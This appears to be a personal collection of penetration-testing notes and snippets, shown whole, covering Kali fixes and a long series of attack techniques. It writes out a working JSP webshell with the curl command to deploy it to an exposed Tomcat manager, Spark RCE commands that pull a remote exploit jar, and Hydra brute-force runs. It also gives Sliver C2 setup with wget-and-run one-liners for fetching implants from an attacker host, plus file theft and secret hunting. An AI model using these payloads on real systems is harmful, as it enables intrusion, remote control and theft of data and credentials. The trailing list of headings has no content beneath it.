If apt-key adv --keyserver hkp://keys.gnupg.net --recv-keys 7D8D0BF6 isn't doing it, try wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add

Resources:
https://forums.kali.org/showthread.php?38858-apt-get-update-GPG-error-key-expired
https://community.spiceworks.com/topic/2110904-kali-linux-expired-signature

Fix Burpsuite in Kali

Burp does not presently (8/3/2018 is when I'm writing this) support Java 10, which is the default java on Kali at this point in time. To fix this, simply run update-alternatives --config java and then select the number that corresponds to /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java from the menu.

Mount NFS share

Show available shares:
showmount -e target.system
Make a directory to house to contents of the share locally:
mkdir /tmp/target.system
Mount the NFS share locally:
mount -t nfs target.system:/mount/path /tmp/target.system
Dismount the NFS share:
umount -f -l /tmp/target.system

Tools

Code can be found here to list mounts and review their contents:
https://gist.github.com/l50/0b71356292f2955edb33b8df42ed5c46

Resource: https://resources.infosecinstitute.com/exploiting-nfs-share/#grefpulliun

RCE with vulnerable endpoint in Apache Tomcat

If the /manager/text/deploy endpoint is exposed on an Apache Tomcat site, you can do the following to get a shell:

# Create a malicious webshell, index.jsp:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>

# Turn it into a war file:
jar -cvf webshell.war index.jsp

# Upload it:
curl --upload-file webshell.war "https://insecure.site.com/manager/text/deploy?path=/evil"

# Access the webshell:
https://insecure.site.com/evil/index.jsp

You can also get a file upload page going as well with the war file from here . Follow the steps above to deploy it, and find the file upload page at /UploadServlet30/upload.jsp.

Once you're finished, you can also remove the webshell with the following command:

curl "https://insecure.site/manager/text/undeploy?path=/evil"

Resources:

Fix hash mismatch issue when trying to install a package in Kali

Try another mirror from the official mirror list.

Replace the existing entry in /etc/apt/sources.list with this:
deb http://mirrors.ocf.berkeley.edu/kali kali-rolling main non-free contrib

Resource: https://unix.stackexchange.com/questions/382617/kali-linux-apt-get-update-returns-hash-sum-mismatch-error

IDRAC to shell

Try logging into the web console with root/calvin.

If this works, go to the Virtual Console and:

Change Plug-in Type to HTML5
Change Default action upon session sharing request timeout to Full access
Click Apply
Then click Launch Virtual Console

If you are not able to login because there are existing sessions, you can kill them by doing the following:

Click the plus sign next to iDRAC Settings
Click Sessions
Click the trash can icon next to the existing sessions

Once this is done, try logging in via the Virtual Console.

Brute force

SSH with Hydra

hydra ssh://192.168.1.1 -v -L users.txt -t 4 -P 10-million-password-list-top-10000.txt

Resource:
https://null-byte.wonderhowto.com/how-to/gain-ssh-access-servers-by-brute-forcing-credentials-0194263/

Basic auth page with Hydra

hydra -V -L <list with usernames to try> -P <list with passwords to try> <target site> http-get /<path to page with auth>

Start ASDM via CLI

javaws https://target:8443/admin/public/asdm.jnlp

Resource: https://community.cisco.com/t5/network-security/start-asdm-from-command-line/td-p/1593342

Rogue LDAP server

This is very useful if you have an LDAP hookup that you're looking to extract credentials from, and nc -lvp 389 isn't working out.

Responder is also supposed to be able to do this, but I haven't had much luck with it.

https://www.devilsec.io/2019/04/29/hacking-printers-for-profit/

Spark

If you find a spark master belonging to your target that's externally exposed, you might have RCE.

Exploitation via 7077

To start, stand up a box that will serve as a listener.

Next, clone this repo and run docker-compose up -d.

Next copy the bin folder that is generated in the docker container to your host system. This should have utilities such as spark-submit in it.

Next, run this command:

./bin/spark-submit --master spark://hostname:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar 'wget listenerbox:portoobserviceison'

Exploitation via 6066

Set up a listener on a system you control:

python -m SimpleHTTPServer 9999

Create submit.sh:

#!/bin/bash
target=$1
version=$2
jar_url=$3
jar_args=$4
curl -X POST http://${target}/v1/submissions/create \
--header "Content-Type:application/json;charset=UTF-8" \
--data @<(cat <<EOF
{
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "${version}",
  "appArgs": [
    "${jar_args}"
  ],
  "appResource": "${jar_url}",
  "environmentVariables": {
    "SPARK_ENV_LOADED": "1"
  },
  "mainClass": "Exploit",
  "sparkProperties": {
    "spark.jars": "${jar_url}",
    "spark.driver.supervise": "false",
    "spark.app.name": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://${target}"
  }
}
EOF
)

Next, run the following command:

bash submit.sh sparkmaster:6066 <spark version - i.e. 2.2.0> https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar "wget <ip of system running the listener>:9999"

Create a salted password hash for /etc/shadow

Run the following to generate the hash on your linux machine:

python3 -c 'import crypt; print(crypt.crypt("sickpasswordbro!", crypt.mksalt(crypt.METHOD_SHA512)))'

Resource: https://serverfault.com/questions/330069/how-to-create-an-sha-512-hashed-password-for-shadow

ElasticSearch

Dump all of the data from all of the indices

# Install the elasticdump tool
sudo npm install elasticdump -g

multielasticdump --direction=dump --input=https://target_es_node:target_es_node_port --output=target_es_node_dump --type=data

Resources:
https://stackoverflow.com/questions/19243074/dump-all-documents-of-elasticsearch
https://gist.github.com/fijimunkii/20227aff19aafa10dbdb654e2770b287

Sliver c2

Create server on AWS Ubuntu 20.04 instance

Start by getting the latest release:

wget $(curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest | jq -r '.assets[].browser_download_url' | grep 'server_linux')

Next, install the required dependencies:

sudo apt-get install -y mingw-w64 binutils-mingw-w64 g++-mingw-w64

Next, unzip and run the server:

unzip sliver-server_linux.zip
chmod +x sliver-server
sudo ./sliver-server

Generate HTTPS implant

You can get your public hostname with this command:

curl 169.254.169.254/latest/meta-data/public-hostname

-or-

you can pull it from the EC2 Web UI, or use the aws cli tool, etc.

I like to create a folder to store the implants in, but this an option step if that's not for you:

mkdir implants

Note: You'll need to modify the commands below if you don't create this folder. If you have trouble with that, you maybe shouldn't be using this tool or hacking. You should learn some linux first.

Next, you can run this command to generate an implant. Here's an example for a linux target:

generate --http your_ec2_public_hostname --save implants/name_of_your_implant_file --skip-symbols --os linux

Note: You may not want to skip the symbols if you're being sneaky

Transfer and run the implant

On the server, we can use simplehttpserver (make sure you security group is configured for 8080 inbound) to host the payload:

python3 -m http.server 8080

On the target, grab it:

wget http://your_ec2_public_hostname:8080/name_of_your_implant_file && chmod +x name_of_your_implant_file && ./name_of_your_implant_file'

If you're exploiting your target through a command injection attack of sorts, you may want to do something like this to grab and run it:

bash -c "cd /tmp && wget http://your_ec2_public_hostname:8080/name_of_your_implant_file && chmod +x name_of_your_implant_file && ./name_of_your_implant_file &"

Get a shell on your target

At this point you're back on your server. Now, this isn't great in terms of OpSec, but in the event you're doing a pentest and don't care about the noise:

sessions -i session_that_came_in
shell

Note: session_that_came_in is probably 1, but I don't want to make any assumptions in case you have other sessions that you've been testing with.

Resources: https://gist.github.com/steinwaywhw/a4cd19cda655b8249d908261a62687f8 - getting the latest release
https://github.com/BishopFox/sliver/wiki/Getting-Started - wiki for the c2
https://vk9-sec.com/how-to-set-up-use-c2-sliver/ - more complete example of how to use the c2

Mac OS mtls Implant generation

generate --mtls your_ec2_public_hostname --save implants/name_of_your_implant_file --skip-symbols --os mac

List implants

implants

Delete implant

implants rm <name of implant from previous command>

List jobs

jobs

Show information about sessions

sessions -i <job id from previous command>
info

Get shell

Not great in terms of OpSec, but some of us have the luxury of not having to care about that at times:

sessions -i <job id from previous command>
shell

Exit shell

exit

Follow this with CTRL+d to get back to the c2 server menu

Resource: https://github.com/BishopFox/sliver/issues/105

Download file

This example will download ubuntu's bash history file to the directory the server binary is in:

download /home/ubuntu/.bash_history

This will download the cloud-init.log to the loot folder in the directory that the server binary is in:

download /var/log/cloud-init.log loot

Download and extract folder

# Download the folder
download /path/to/folder loot/folder.tar.gz
# Extract it
gunzip < folder.tar.gz | tar -xvf -

Resource: https://help.nexcess.net/77285-other/how-to-decompress-files-in-gzip

Upload file

upload local_dir remote_dir

Search for secrets on git server

This can be useful if you land on a git server and want some juicy secrets

for i in $(git ls-tree -r master | cut -d " " -f 3 | cut -f 1); do echo -e "${i}"; git cat-file -p ${i} | grep -i password; done

Resource: https://twitter.com/curi0usJack/status/1162452287677186050?s=20

Crack VNC password

git clone https://github.com/jeroennijhof/vncpwd.git
cd vncpwd
make
./vncpwd /root/.vnc/passwd

Resource: https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc

Pentesting notes and snippets

Recon

Nmap

Host discovery via Ping Sweeping

Host discovery while skipping ping checks

Typical methodology

Encompass all of the basic port scan behavior

TCP Connect Scan

Detailed scan

Single host TCP scan:

Parse all ports out of xml output

Detailed single host TCP scan:

Single host UDP scan:

Eyewitness

Single target as command line arg

Read targets out of a file

Responder

Exploitation

Handle multiple reverse nc shells

Reverse shell payload

Reverse shell in Scala:

Mount NFS share

Post Exploitation

Linux

Drop backdoor ssh key

Monitor processes

Take screenshot

Ask for creds

Access a user's env

Search for config files which may have cleartext passwords in them:

Netcat reverse shell without -e

Transfer file via netcat

Add user with no password to sudoers

Introduce backdoor user

Unix-privesc-check

LinEnum

Linux Exploit Suggester

LinPEAS

Linuxprivchecker

Good linux post exploitation resources

Who has logged in previously?

Are you in the sudoers file?

Get network information, like open ports and their associated processes:

Find programs with root privs:

Screenshot the targets screen when you're ssh'ed into a system:

SUID Executables

Windows

Ask for creds

Cheatsheets

Cracking hashes

For cracking hashes in /etc/shadow

Hashcat cheatsheet

Using john with an SSH key that has a pw

Lateral Movement

Hijacking SSH with Master Mode

Resources

Docker

Exposed Docker Daemon via TCP

Docker Daemon exposed to other containers

Resources

Find secrets in images

Miscellaneous

Test out of bound code execution with tcpdump

Enable ssh on Kali

Command line vnc viewer on kali

Crash system as normal user with fork bomb

Getting a shell on a PostgreSQL DB running on Linux if you have the proper access and permissions

Getting around "su: must be run from a terminal"

Getting a shell on a Jenkins box running on Linux or OS X with access to the groovy console

If /script is not accessible, but /computer is

Jenkins on Windows

Stealing credentials from Jenkins

Exfil the files via cli

Stealing creds via Job Import plugin

Jenkins Post Exploitation

Metasploit

MSFVenom

OSX

Linux

Create and run listener